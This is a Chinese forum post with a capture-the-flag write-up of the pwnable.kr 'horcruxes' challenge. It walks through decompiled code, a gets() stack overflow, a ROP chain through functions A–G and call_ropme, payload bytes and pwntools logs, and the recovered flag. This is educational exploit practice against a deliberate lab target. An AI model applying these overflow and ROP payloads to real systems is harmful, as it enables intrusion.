首页
社区
课程
招聘
[原创]pwnable.kr horcruxes
发表于: 2021-3-1 16:02 10756

[原创]pwnable.kr horcruxes

2021-3-1 16:02
10756

在 32 位程序中,执行 call_function,当 function 执行完毕后,pc 会指向 call_function + 4 字节处

程序以 horcruxes_pwn 的权限运行在本地的 9032 端口,考察 rop

用户名与所属组都是 horcruxes

在 IDA 里查看反编译代码

此时为了获得 flag 我们有两种思路
一是将返回地址修改为 fd = open("flag", 0); 对应的地址
二是求出 sum 的值

在 IDA 中找到 fd = open("flag", 0); 对应的地址为 0x080A010B
构造 payload payload = 'A' * (0x74 +4) + p32(fd_addr)
结果没有任何反应,连接直接被关闭

紧接着测试多个函数,发现 fd 对应的地址、hint 函数对应的地址、ropme 函数对应的地址都无法正常跳转
ropme 函数内的 A ~ G 这七个函数 和 call_ropme 对应地址可正常跳转,于是放弃此方法。
下面是仅跳转函数 A 的结果

可以看到,我们只要获得 sum 的值就可以读取 flag
sum 的值是函数 init_ABCDEFG() 求得,值为 a + b + c + d + e + f + g
a ~ g 是随机生成的,但是可以通过执行 A ~ G 函数获得相应的值

v2 是我们手动输入的值,由于 a ~ g 是随机生成的,所以我们很难通过正常方式执行 A ~ G 函数
所以想执行 A ~ G 函数需要返回一遍 A ~ G 函数
此时我们得到了 a ~ g 的值,sum 为它们的和
这时我们需在调用一次 ropme 函数,将 sum 的值输入 How many EXP did you earned? : 后,获得flag

s 是我们利用到的缓冲区,通过char s[100]; // [esp+4h] [ebp-74h]知它距离 ebp 有 0x74 字节
再加 4 字节就到了返回地址对应位置。(32 位)
在 32 位程序中,执行 call_function,当 function 执行完毕后,pc 会指向 call_function + 4 字节处
所以为了返回一遍 A ~ G 函数,我们将 A ~ G 函数的地址填写在填充字符后即可
为了发送 sum 的值我们还需再执行一次 ropme 函数,由方法一已知 ropme 函数直接返回会失败,于是用 call_ropme 的地址来替代
A ~ G 和 call_ropme 的地址均可通过 IDA 直接查看

exp 如下

执行脚本,获得 flag:Magic_spell_1s_4vad4_K3daVr4!

Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and ROP it!
author: jiwon choi
 
ssh horcruxes@pwnable.kr -p2222 (pw:guest)
Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and ROP it!
author: jiwon choi
 
ssh horcruxes@pwnable.kr -p2222 (pw:guest)
horcruxes@pwnable:~$ ls -l
total 20
-rwxr-xr-x 1 root root 12424 Aug  8  2018 horcruxes
-rw-r--r-- 1 root root   131 Aug  8  2018 readme
horcruxes@pwnable:~$ cat readme
connect to port 9032 (nc 0 9032). the 'horcruxes' binary will be executed under horcruxes_pwn privilege.
rop it to read the flag.
horcruxes@pwnable:~$ ls -l
total 20
-rwxr-xr-x 1 root root 12424 Aug  8  2018 horcruxes
-rw-r--r-- 1 root root   131 Aug  8  2018 readme
horcruxes@pwnable:~$ cat readme
connect to port 9032 (nc 0 9032). the 'horcruxes' binary will be executed under horcruxes_pwn privilege.
rop it to read the flag.
horcruxes@pwnable:~$ id
uid=1117(horcruxes) gid=1117(horcruxes) groups=1117(horcruxes)
horcruxes@pwnable:~$ id
uid=1117(horcruxes) gid=1117(horcruxes) groups=1117(horcruxes)
horcruxes@pwnable:~$ checksec ./horcruxes
[*] '/home/horcruxes/horcruxes'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x809f000)
horcruxes@pwnable:~$ checksec ./horcruxes
[*] '/home/horcruxes/horcruxes'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x809f000)
unsigned int init_ABCDEFG()
{
  int v0; // eax
  unsigned int result; // eax
  unsigned int buf; // [esp+8h] [ebp-10h]
  int fd; // [esp+Ch] [ebp-Ch]
 
  fd = open("/dev/urandom", 0);
  if ( read(fd, &buf, 4u) != 4 )                // 4 字节的随机数存储到 buf
  {
    puts("/dev/urandom error");
    exit(0);
  }
  close(fd);
  srand(buf);                                   // buf 里的值作为生成随机数的种子
  a = -559038737 * rand() % 0xCAFEBABE;
  b = -559038737 * rand() % 0xCAFEBABE;
  c = -559038737 * rand() % 0xCAFEBABE;
  d = -559038737 * rand() % 0xCAFEBABE;
  e = -559038737 * rand() % 0xCAFEBABE;
  f = -559038737 * rand() % 0xCAFEBABE;
  v0 = rand();
  g = -559038737 * v0 % 0xCAFEBABE;
  result = f + e + d + c + b + a + -559038737 * v0 % 0xCAFEBABE;
  sum = result;
  return result;
}
 
 
int ropme()
{
  char s[100]; // [esp+4h] [ebp-74h]
  int v2; // [esp+68h] [ebp-10h]
  int fd; // [esp+6Ch] [ebp-Ch]
 
  printf("Select Menu:");
  __isoc99_scanf("%d", &v2);
  getchar();
 
  # 函数 A 到 G 是输出对应 a 到 g 的值
  if ( v2 == a )
  {
    A();
  }
  else if ( v2 == b )
  {
    B();
  }
  else if ( v2 == c )
  {
    C();
  }
  else if ( v2 == d )
  {
    D();
  }
  else if ( v2 == e )
  {
    E();
  }
  else if ( v2 == f )
  {
    F();
  }
  else if ( v2 == g )
  {
    G();
  }
  else
  {
    printf("How many EXP did you earned? : ");
    gets(s);
    if ( atoi(s) == sum )
    {
      fd = open("flag", 0);
      s[read(fd, s, 0x64u)] = 0;
      puts(s);
      close(fd);
      exit(0);
    }
    puts("You'd better get more experience to kill Voldemort");
  }
  return 0;
}
 
 
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // ST1C_4
 
  setvbuf(stdout, 0, 2, 0);                     // 将 stdout 设置为无缓冲
  setvbuf(stdin, 0, 2, 0);                      // 将 stdin 设置为无缓冲
  alarm(0x3Cu);                                 // 60 秒传递一个 SIGALRM signal
  hint();                                       // 输出题目
  init_ABCDEFG();
  v3 = seccomp_init(0);                         // #define SCMP_ACT_KILL_THREAD    0x00000000U
  seccomp_rule_add(v3, 2147418112, 173, 0);     // 添加系统调用 sys_rt_sigreturn
                                                // #define SCMP_ACT_ALLOW      0x7fff0000U
                                                // 0x7fff0000U = 2147418112
  seccomp_rule_add(v3, 2147418112, 5, 0);       // 添加系统调用 open
  seccomp_rule_add(v3, 2147418112, 3, 0);       // 添加系统调用 read
  seccomp_rule_add(v3, 2147418112, 4, 0);       // 添加系统调用 write
  seccomp_rule_add(v3, 2147418112, 252, 0);     // 添加系统调用 sys_exit_group
  seccomp_load(v3);
  return ropme();
}
unsigned int init_ABCDEFG()
{
  int v0; // eax
  unsigned int result; // eax
  unsigned int buf; // [esp+8h] [ebp-10h]
  int fd; // [esp+Ch] [ebp-Ch]
 
  fd = open("/dev/urandom", 0);
  if ( read(fd, &buf, 4u) != 4 )                // 4 字节的随机数存储到 buf
  {
    puts("/dev/urandom error");
    exit(0);
  }
  close(fd);
  srand(buf);                                   // buf 里的值作为生成随机数的种子
  a = -559038737 * rand() % 0xCAFEBABE;
  b = -559038737 * rand() % 0xCAFEBABE;
  c = -559038737 * rand() % 0xCAFEBABE;
  d = -559038737 * rand() % 0xCAFEBABE;
  e = -559038737 * rand() % 0xCAFEBABE;
  f = -559038737 * rand() % 0xCAFEBABE;
  v0 = rand();
  g = -559038737 * v0 % 0xCAFEBABE;
  result = f + e + d + c + b + a + -559038737 * v0 % 0xCAFEBABE;
  sum = result;
  return result;
}
 
 
int ropme()
{
  char s[100]; // [esp+4h] [ebp-74h]
  int v2; // [esp+68h] [ebp-10h]
  int fd; // [esp+6Ch] [ebp-Ch]
 
  printf("Select Menu:");
  __isoc99_scanf("%d", &v2);
  getchar();
 
  # 函数 A 到 G 是输出对应 a 到 g 的值
  if ( v2 == a )
  {
    A();
  }
  else if ( v2 == b )
  {
    B();
  }
  else if ( v2 == c )
  {
    C();
  }
  else if ( v2 == d )
  {
    D();
  }
  else if ( v2 == e )
  {
    E();
  }
  else if ( v2 == f )
  {
    F();
  }
  else if ( v2 == g )
  {
    G();
  }
  else
  {
    printf("How many EXP did you earned? : ");
    gets(s);
    if ( atoi(s) == sum )
    {
      fd = open("flag", 0);
      s[read(fd, s, 0x64u)] = 0;
      puts(s);
      close(fd);
      exit(0);
    }
    puts("You'd better get more experience to kill Voldemort");
  }
  return 0;
}
 
 
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // ST1C_4
 
  setvbuf(stdout, 0, 2, 0);                     // 将 stdout 设置为无缓冲
  setvbuf(stdin, 0, 2, 0);                      // 将 stdin 设置为无缓冲
  alarm(0x3Cu);                                 // 60 秒传递一个 SIGALRM signal
  hint();                                       // 输出题目
  init_ABCDEFG();
  v3 = seccomp_init(0);                         // #define SCMP_ACT_KILL_THREAD    0x00000000U
  seccomp_rule_add(v3, 2147418112, 173, 0);     // 添加系统调用 sys_rt_sigreturn
                                                // #define SCMP_ACT_ALLOW      0x7fff0000U
                                                // 0x7fff0000U = 2147418112
  seccomp_rule_add(v3, 2147418112, 5, 0);       // 添加系统调用 open
  seccomp_rule_add(v3, 2147418112, 3, 0);       // 添加系统调用 read
  seccomp_rule_add(v3, 2147418112, 4, 0);       // 添加系统调用 write
  seccomp_rule_add(v3, 2147418112, 252, 0);     // 添加系统调用 sys_exit_group
  seccomp_load(v3);
  return ropme();
}
whoami@DESKTOP-02CN0MD:~/pwn/horcruxes/attach$ python exp1.py
[+] Opening connection to pwnable.kr on port 9032: Done
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x39 bytes:
    'Voldemort concealed his splitted soul inside 7 horcruxes.'
[DEBUG] Received 0x51 bytes:
    '\n'
    'Find all horcruxes, and destroy it!\n'
    '\n'
    'Select Menu:How many EXP did you earned? : '
[DEBUG] Sent 0x7d bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000070  41 41 41 41  41 41 41 41  1d 01 0a 08  0a           │AAAA│AAAA│····│·│
    0000007d
[+] Receiving all data: Done (51B)
[DEBUG] Received 0x32 bytes:
    "You'd better get more experience to kill Voldemort"
[*] Closed connection to pwnable.kr port 9032
whoami@DESKTOP-02CN0MD:~/pwn/horcruxes/attach$ python exp1.py
[+] Opening connection to pwnable.kr on port 9032: Done
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x39 bytes:
    'Voldemort concealed his splitted soul inside 7 horcruxes.'
[DEBUG] Received 0x51 bytes:
    '\n'
    'Find all horcruxes, and destroy it!\n'
    '\n'
    'Select Menu:How many EXP did you earned? : '
[DEBUG] Sent 0x7d bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000070  41 41 41 41  41 41 41 41  1d 01 0a 08  0a           │AAAA│AAAA│····│·│
    0000007d
[+] Receiving all data: Done (51B)
[DEBUG] Received 0x32 bytes:
    "You'd better get more experience to kill Voldemort"
[*] Closed connection to pwnable.kr port 9032
whoami@DESKTOP-02CN0MD:~/pwn/horcruxes/attach$ python exp1.py
[+] Opening connection to pwnable.kr on port 9032: Done
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x39 bytes:
    'Voldemort concealed his splitted soul inside 7 horcruxes.'
[DEBUG] Received 0x51 bytes:
    '\n'
    'Find all horcruxes, and destroy it!\n'
    '\n'
    'Select Menu:How many EXP did you earned? : '
[DEBUG] Sent 0x7d bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000070  41 41 41 41  41 41 41 41  4b fe 09 08  0a           │AAAA│AAAA│K···│·│
    0000007d
[+] Receiving all data: Done (101B)
[DEBUG] Received 0x64 bytes:
    "You'd better get more experience to kill Voldemort\n"
    'You found "Tom Riddle\'s Diary" (EXP +1573631536)\n'
[*] Closed connection to pwnable.kr port 9032
whoami@DESKTOP-02CN0MD:~/pwn/horcruxes/attach$
whoami@DESKTOP-02CN0MD:~/pwn/horcruxes/attach$ python exp1.py
[+] Opening connection to pwnable.kr on port 9032: Done
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x39 bytes:
    'Voldemort concealed his splitted soul inside 7 horcruxes.'
[DEBUG] Received 0x51 bytes:
    '\n'
    'Find all horcruxes, and destroy it!\n'

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 2
支持
分享
最新回复 (3)
雪    币: 4168
活跃值: (15932)
能力值: ( LV9,RANK:710 )
在线值:
发帖
回帖
粉丝
2
支持长期更新
2021-3-12 14:08
0
雪    币: 47
活跃值: (3673)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
3
ScUpax0s 支持长期更新
谢谢版主
2021-3-15 14:48
0
雪    币: 1657
活跃值: (6833)
能力值: ( LV12,RANK:215 )
在线值:
发帖
回帖
粉丝
4
虽然看不懂,不妨碍崇拜师傅
2021-3-22 09:17
0
游客
登录 | 注册 方可回帖
返回
//